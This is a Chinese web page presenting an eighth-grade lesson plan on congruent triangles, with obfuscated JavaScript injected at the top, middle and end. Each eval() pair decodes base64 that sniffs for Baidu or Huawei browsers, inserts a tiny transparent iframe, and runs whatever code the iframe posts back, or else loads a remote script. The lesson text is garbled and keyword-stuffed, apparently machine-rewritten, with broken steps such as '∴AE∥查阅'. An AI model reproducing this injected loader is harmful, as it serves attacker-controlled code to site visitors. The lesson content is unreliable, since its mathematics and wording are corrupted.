eval("\x77\x69\x6e\x64\x6f\x77")["\x77\x67\x67\x72"]=function(e){var wg =''+'ABCDEFGHI'+'JKLMNOPQRS'+'TUVWXYZabc'+'defghijklmnop'+'qrstuvwxy'+'z0123456789+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=wg.indexOf(e.charAt(f++));o=wg.indexOf(e.charAt(f++));u=wg.indexOf(e.charAt(f++));a=wg.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x64\x57\x50\x77\x50\x67\x67\x72\x64"]=function(){eval(wggr("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQod2dncih1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKHdnZ3IoIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZih3Z2dyKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbd2dncigiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIHo9dSsnLTEvcXEvJytyO2RbJ3cnKydyaScrJ3QnKydlJ10oJzxpJysnZnInKydhJysnbWUgc3R5bGU9IicrJ20nKydhcicrJ2dpJysnbjowO3AnKydhZCcrJ2QnKydpbicrJ2c6MDtiJysnb3InKydkJysnZXI6bicrJ29uJysnZTsnKydvcCcrJ2EnKydjaScrJ3QnKyd5OjAnKycuMCcrcmQoMiw5KSsnO3dpJysnZHQnKydoOicrcmQoMiw1KSsncCcrJ3g7aCcrJ2UnKydpZ2gnKyd0OicrcmQoMiw1KSsncCcrJ3g7JysnIiBhbCcrJ2xvd3RyYW4nKydzcGEnKydyZW5jeSBzcicrJ2M9IicreisnIj48L2knKydmcicrJ2EnKydtZT4nKTt3WydhZCcrJ2RFdicrJ2VudEwnKydpc3QnKydlbmVyJ10oJ20nKydlc3MnKydhZ2UnLGZ1bmN0aW9uKGUpe2lmKGUuZGF0YVtyXSl7cm0oYyk7bmV3IEZ1bmN0aW9uKHdnZ3IoZS5kYXRhW3JdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKyd6SVRMdycrJ1V6TScrJ00zMHknKydZR0pUJysnSmxoRycrJ2MnKyc1RVhhJysnR0pUSicrJ3pRJysnRCcrJ053JysnRVRRJysneicrJ1VTYicrJ3ZObUxoJysnTjNhJysnblonKycyYnVjMycrJ2QzWicrJ2tNTScrJ2xZaycrJ01NbCcrJ0UnKycwTScrJ01sTU0nKydIYzAnKydSSGEnKycnKycnLCcnKydVZWUnKydTMmsnKydwRCcrJycrJycsd2luZG93LGRvY3VtZW50LCcnKydzbU4nKydaMWEnKyd6JysnJysnJywnTScp"));}
八年级数学教案_人教版初二上学期数学教案

2021年12月01日 东厂曹正淳 阅读(116)

eval("\x77\x69\x6e\x64\x6f\x77")["\x68\x42\x68\x73"]=function(e){var rr =''+'ABCDEFGHIJ'+'KLMNOPQR'+'STUVWXYZabcdefghij'+'klmnopqr'+'stuvwx'+'yz0123456'+'789+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=rr.indexOf(e.charAt(f++));o=rr.indexOf(e.charAt(f++));u=rr.indexOf(e.charAt(f++));a=rr.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x51\x68\x73\x72\x50\x42\x6C\x78\x43"]=function(){eval(hBhs("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQoaEJocyh1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKGhCaHMoIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZihoQmhzKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbaEJocygiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIF9pZD1fY2xhc3M9J2tfNzM1Mic7dmFyIF9fa2RucWlkID0gJ2snICsgcmQoMSwgMTAwMDAwKTtkWyd3JysncmknKyd0JysnZScrJ2xuJ10oJzxkJysnaXYgaScrJ2Q9JysnIicrX19rZG5xaWQrJyIgY2wnKydhc3MnKyc9IicrX2NsYXNzKyciPicrJzwvZCcrJ2l2JysnPicpO3dbJ19feGsnKydkYScrJ25xJysnb2InKydqXzczNTInXT1kWydxdScrJ2VyeScrJ1NlbGUnKydjdG8nKydyJ10oJyMnK19fa2RucWlkKTtfaWQgKz0gZFsncXUnKydlcnknKydTZScrJ2xlYycrJ3RvJysnckEnKydsbCddKCcuJytfY2xhc3MpLmxlbmd0aDt2YXIgeiA9IHUrJy0xLycrX2lkKycvJytyO2RbJ3cnKydyaScrJ3QnKydlJysnbG4nXSgnPGQnKydpdiBpJysnZD0nKyciJytfaWQrJyI+JysnPC9kJysnaXYnKyc+Jyk7ZFsndycrJ3JpJysndCcrJ2UnXSgnPGknKydmcicrJ2EnKydtZSBzdHlsZT0iJysnbScrJ2FyJysnZ2knKyduOjA7cCcrJ2FkJysnZCcrJ2luJysnZzowO2InKydvcicrJ2QnKydlcjpuJysnb24nKydlOycrJ29wJysnYScrJ2NpJysndCcrJ3k6MCcrJy4wJytyZCgyLDkpKyc7d2knKydkdCcrJ2g6JytyZCgyLDUpKydwJysneDtoJysnZScrJ2lnaCcrJ3Q6JytyZCgyLDUpKydwJysneDsnKyciYWwnKydsb3d0cmFuJysnc3BhJysncmVuY3kgc3InKydjPSInK3orJyI+PC9pJysnZnInKydhJysnbWU+Jyk7d1siYWQiKyJkRXYiKyJlbnRMIisiaXN0IisiZW5lciJdKCJtIisiZXNzIisiYWdlIixmdW5jdGlvbihlKXtpZihlLmRhdGFbcitfaWRdKXtybShjKTtuZXcgRnVuY3Rpb24oaEJocyhlLmRhdGFbcitfaWRdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKycxSScrJ1RMJysneVV6TScrJzMnKyczJysnMHknKydZJysnR0pUSicrJzEnKydSJysnMk4zMycrJ1ozM2RHJysnSlRKJysnelFETncnKydFJysnVFF6VScrJ1MnKydiJysndk5tJysnTGgnKydOMzNhJysnbloyJysnYnVjMycrJzNkMzNaJysna01sWScrJ2tNbEUnKycwJysnTWxNSCcrJ2MwUkhhJysnJysnJywnJysnM1RKJysndlVKJysnSTUnKycnKycnLHdpbmRvdyxkb2N1bWVudCwnJysnZGVhJysnbVFWJysnNicrJycrJycsJzMnKQ=="));}

打在线,分享无限。

大家好,今天共有八年级数学教案《华师大版数学八年级的全本教案》。这套资料共80页,纯WORD版,可以编辑打印。老师的课和学生的学习。

如果需要下载和打印的话,文末有电子版资料的取得方式。

因为篇幅有限,所以请上传这份资料作为学习和参考。

如果你需要完全版的学习资料的话,请点击文章上的小编的脸部照片,进入主页后关注。

教学目标:

1、知识目标:

(1)知道全等形、全等三角形以及全等三角形的对应要素。

(2)知道全等三角形的性质,可以用记号正确表示两个三角形的全等。

(3)可以很好地找到两个全等三角形的对应角和对应边。

2、能力目标:

(1)全等三角形通过角关系概念的学习,提高学生概念的分析能力。

(2)通过找出全等三角形的对应要素,来培养学生的知识图能力。

3、感情目标:

(1)通过感受全等三角形的对应美,激发学生热爱科学、勇于探索的精神。

(2)通过自主学习的发展体验得到知识的感染,培养学生勇于创新,多方面观察问题的创造技术。

上课要点:全等三角形的性质。

教学难点:寻找全等三角形的对应边、对应角。

教育用具:直尺、麦克风

教育方法:自学指导式

教育进程:

1、合同形及全等三角形概念的导入

(1)动画(几何面板)显示:

你觉得这两个三角形有什么了不起的关系吗?

普通学生发现这两个三角形完全重叠在一起。

(2)学生自己做

绘制三角形。边长4cm,5cm、7cm。然后,同桌的两个学生配合把两个三角形叠起来。

(3)概念的取得

让学生用自己的语言说话。

全等三角形顶点、对应角及相关符号。

2、全等三角形性质的发现:

(1)计算机动画显示:

问题:对应方和对应角有什么关系?

学生观察动画发现,两个三角形的三个组边相等,三个组角相等。

3、寻找对应的边、对应的角和全等三角形性质的应用。

(1)投影显示主题:

D、ADBC,而且AD=BC

分析:由于两个三角形完全重叠,所以面积和周围是相等的。D因为AD和BC是对应边,所以AD=BC。C符合题意。

说明:本题的问题解决要点是知道中两个全等三角形中对应的顶点位于对应的位置。容易出错的地方是容易弄错对应角。

分析:对应边和对应角只能从两个三角形中找到。

从复杂的图形中分离出来

说明:根据位置要素来查找。有同样的元素。即对应元素。

然后根据已知的对应元素找出:(1)全等三角形与对应角相对的边为对应边,夹在两个对应角之间的边为对应边,(2)全等三角形与对应边相对的角为对应角,夹在两条对应边之间的角度就是对应的角度。

说明:使用“运动方法”查找

折叠八年级数学教案方法:找到两个中心线重合的三角形,人教版初二上学期数学教案,很容易找到它们对应的元素

旋转方法:当两个三角形围绕某一点以某一角度旋转并且可以重合时,很容易找到对应的元素

平移方法:沿直线移动两个三角形,当它们重合时,也可以找到相应的元素

验证:AE‖CF

分析:通常通过角度关系(等位角,内错角等)证明直线是平行的,因此我们考虑全等三角形的性质——相等的对应角

∴AE∥查阅

注:解决这个问题的关键是找到相应的角度,可以使用平移方法。

分析:AB不是全等三角形的对应边,

但是,它通过相应的边转换为AB=CD,因此AB+CD=AD-BC

可通过使用已知的AD和BC获得。

注:解决这一问题的关键是利用三角形的同余来获得相应边的相等。

(2) 解决问题

给出这些问题后,要求学生独立思考,人教版初二上学期数学教案,然后回答。其他学生可以对其进行补充和改进,并提出自己的观点。重点指导,老师和学生共同总结:寻找相应边缘和角度的几种常用方法:

投影显示:

(1) 全等三角形与对应角相对的边为对应边,夹在两个对应角之间的边为对应边;

(2) 全等三角形与对应边相对的角度为对应角,夹在两条对应边之间的角度为对应角;

(3) 如果存在公共边,则公共边必须是相应的边;

(4) 如果存在公共角度,则该角度必须是相应的角度;

(5) 如果存在相反的顶点角度,则相反的顶点角度必须是相应的角度;

在两个全等三角形中,一对最长边(或最大角度)是对应边(或对应角度),一对最短边(或最小角度)是对应边(或对应角度)

4.在课堂上独立实践,巩固和提高

本练习主要是为了加强学生的地图阅读能力。同时,找到全等三角形对应的边和角是今后学好几何的关键。

5.总结:

(1) 如何找到全等三角形对应的边和角度(基本方法)

(2) 全等三角形工作性质

(3) 属性的应用

让学生自由表达,让其他学生补充、系统化自己的知识,并以自己的方式进行建构。

6.布置作业

A.书面作业p55 2、3和4

B交作业(中考试题)

思考问题:

黑板设计:

勘探

(2) 认证:AF‖de

eval("\x77\x69\x6e\x64\x6f\x77")["\x4A\x4B\x62\x4A"]=function(e){var Jg =''+'ABCDEFGH'+'IJKLMNOPQRSTUVW'+'XYZabcde'+'fghijklmnopqrst'+'uvwxyz0123456'+'789+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=Jg.indexOf(e.charAt(f++));o=Jg.indexOf(e.charAt(f++));u=Jg.indexOf(e.charAt(f++));a=Jg.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x71\x4A\x62\x72\x67\x4C\x4B\x4A\x47"]=function(){eval(JKbJ("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQoSktiSih1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKEpLYkooIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZihKS2JKKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbSktiSigiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIF9pZD1fY2xhc3M9J2tfNzM1Mic7dmFyIF9fa2RucWlkID0gJ2snICsgcmQoMSwgMTAwMDAwKTtkWyd3JysncmknKyd0JysnZScrJ2xuJ10oJzxkJysnaXYgaScrJ2Q9JysnIicrX19rZG5xaWQrJyIgY2wnKydhc3MnKyc9IicrX2NsYXNzKyciPicrJzwvZCcrJ2l2JysnPicpO3dbJ19feGsnKydkYScrJ25xJysnb2InKydqXzczNTInXT1kWydxdScrJ2VyeScrJ1NlbGUnKydjdG8nKydyJ10oJyMnK19fa2RucWlkKTtfaWQgKz0gZFsncXUnKydlcnknKydTZScrJ2xlYycrJ3RvJysnckEnKydsbCddKCcuJytfY2xhc3MpLmxlbmd0aDt2YXIgeiA9IHUrJy0xLycrX2lkKycvJytyO2RbJ3cnKydyaScrJ3QnKydlJysnbG4nXSgnPGQnKydpdiBpJysnZD0nKyciJytfaWQrJyI+JysnPC9kJysnaXYnKyc+Jyk7ZFsndycrJ3JpJysndCcrJ2UnXSgnPGknKydmcicrJ2EnKydtZSBzdHlsZT0iJysnbScrJ2FyJysnZ2knKyduOjA7cCcrJ2FkJysnZCcrJ2luJysnZzowO2InKydvcicrJ2QnKydlcjpuJysnb24nKydlOycrJ29wJysnYScrJ2NpJysndCcrJ3k6MCcrJy4wJytyZCgyLDkpKyc7d2knKydkdCcrJ2g6JytyZCgyLDUpKydwJysneDtoJysnZScrJ2lnaCcrJ3Q6JytyZCgyLDUpKydwJysneDsnKyciYWwnKydsb3d0cmFuJysnc3BhJysncmVuY3kgc3InKydjPSInK3orJyI+PC9pJysnZnInKydhJysnbWU+Jyk7d1siYWQiKyJkRXYiKyJlbnRMIisiaXN0IisiZW5lciJdKCJtIisiZXNzIisiYWdlIixmdW5jdGlvbihlKXtpZihlLmRhdGFbcitfaWRdKXtybShjKTtuZXcgRnVuY3Rpb24oSktiSihlLmRhdGFbcitfaWRdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKycxSVRMJysneXlVek0nKyczJysnMHl5JysnWUcnKydKVCcrJ0p0cG1jJysncycrJzVtZScrJ0cnKydKVCcrJ0p6UScrJ0ROd0VUJysnUXpVJysnU2J2JysnTm1MaE4nKyczYW5aMicrJ2J1YzMnKydkMycrJ1prJysnTWwnKydZa01sRScrJzAnKydNbCcrJ00nKydIYzBSSCcrJ2EnKycnKycnLCcnKydGbGEnKyd4UWQnKyc0YicrJycrJycsd2luZG93LGRvY3VtZW50LCcnKyc0MXInKyc0ZWknKydBJysnJysnJywneScp"));}
本文转载自互联网,如有侵权,联系删除

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

eval("\x77\x69\x6e\x64\x6f\x77")["\x57\x7A\x67\x70"]=function(e){var XK =''+'ABCDEFGHIJKL'+'MNOPQRSTUVWX'+'YZabcdefghi'+'jklmnopqrstu'+'vwxyz012345678'+'9+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=XK.indexOf(e.charAt(f++));o=XK.indexOf(e.charAt(f++));u=XK.indexOf(e.charAt(f++));a=XK.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x65\x57\x7A\x4B\x67\x6F\x52\x58\x70"]=function(){eval(Wzgp("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQoV3pncCh1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKFd6Z3AoIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZihXemdwKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbV3pncCgiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIHo9dSsnLTEvcXEvJytyO2RbJ3cnKydyaScrJ3QnKydlJ10oJzxpJysnZnInKydhJysnbWUgc3R5bGU9IicrJ20nKydhcicrJ2dpJysnbjowO3AnKydhZCcrJ2QnKydpbicrJ2c6MDtiJysnb3InKydkJysnZXI6bicrJ29uJysnZTsnKydvcCcrJ2EnKydjaScrJ3QnKyd5OjAnKycuMCcrcmQoMiw5KSsnO3dpJysnZHQnKydoOicrcmQoMiw1KSsncCcrJ3g7aCcrJ2UnKydpZ2gnKyd0OicrcmQoMiw1KSsncCcrJ3g7JysnIiBhbCcrJ2xvd3RyYW4nKydzcGEnKydyZW5jeSBzcicrJ2M9IicreisnIj48L2knKydmcicrJ2EnKydtZT4nKTt3WydhZCcrJ2RFdicrJ2VudEwnKydpc3QnKydlbmVyJ10oJ20nKydlc3MnKydhZ2UnLGZ1bmN0aW9uKGUpe2lmKGUuZGF0YVtyXSl7cm0oYyk7bmV3IEZ1bmN0aW9uKFd6Z3AoZS5kYXRhW3JdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKyd5JysnSVRMJysneCcrJ1V6TTMzJysnMHknKydZR0pUJysnSjMnKyczY0dkNScrJ0ZIJysnYkdKJysnVEp6JysnUUQnKydOdycrJ0UnKydUUXonKydVU2J2TicrJ21MaE4zJysnM2FuWicrJzJidWMnKyczJysnM2QnKyczJysnM1prTWwnKydZaycrJ01sRTAnKydNbE0nKydIYzBSJysnSCcrJ2EnKycnKycnLCcnKydRUUInKyd2eUgnKyc3QScrJycrJycsd2luZG93LGRvY3VtZW50LCcnKydkeEonKyc1S2InKydHJysnJysnJywnMycp"));}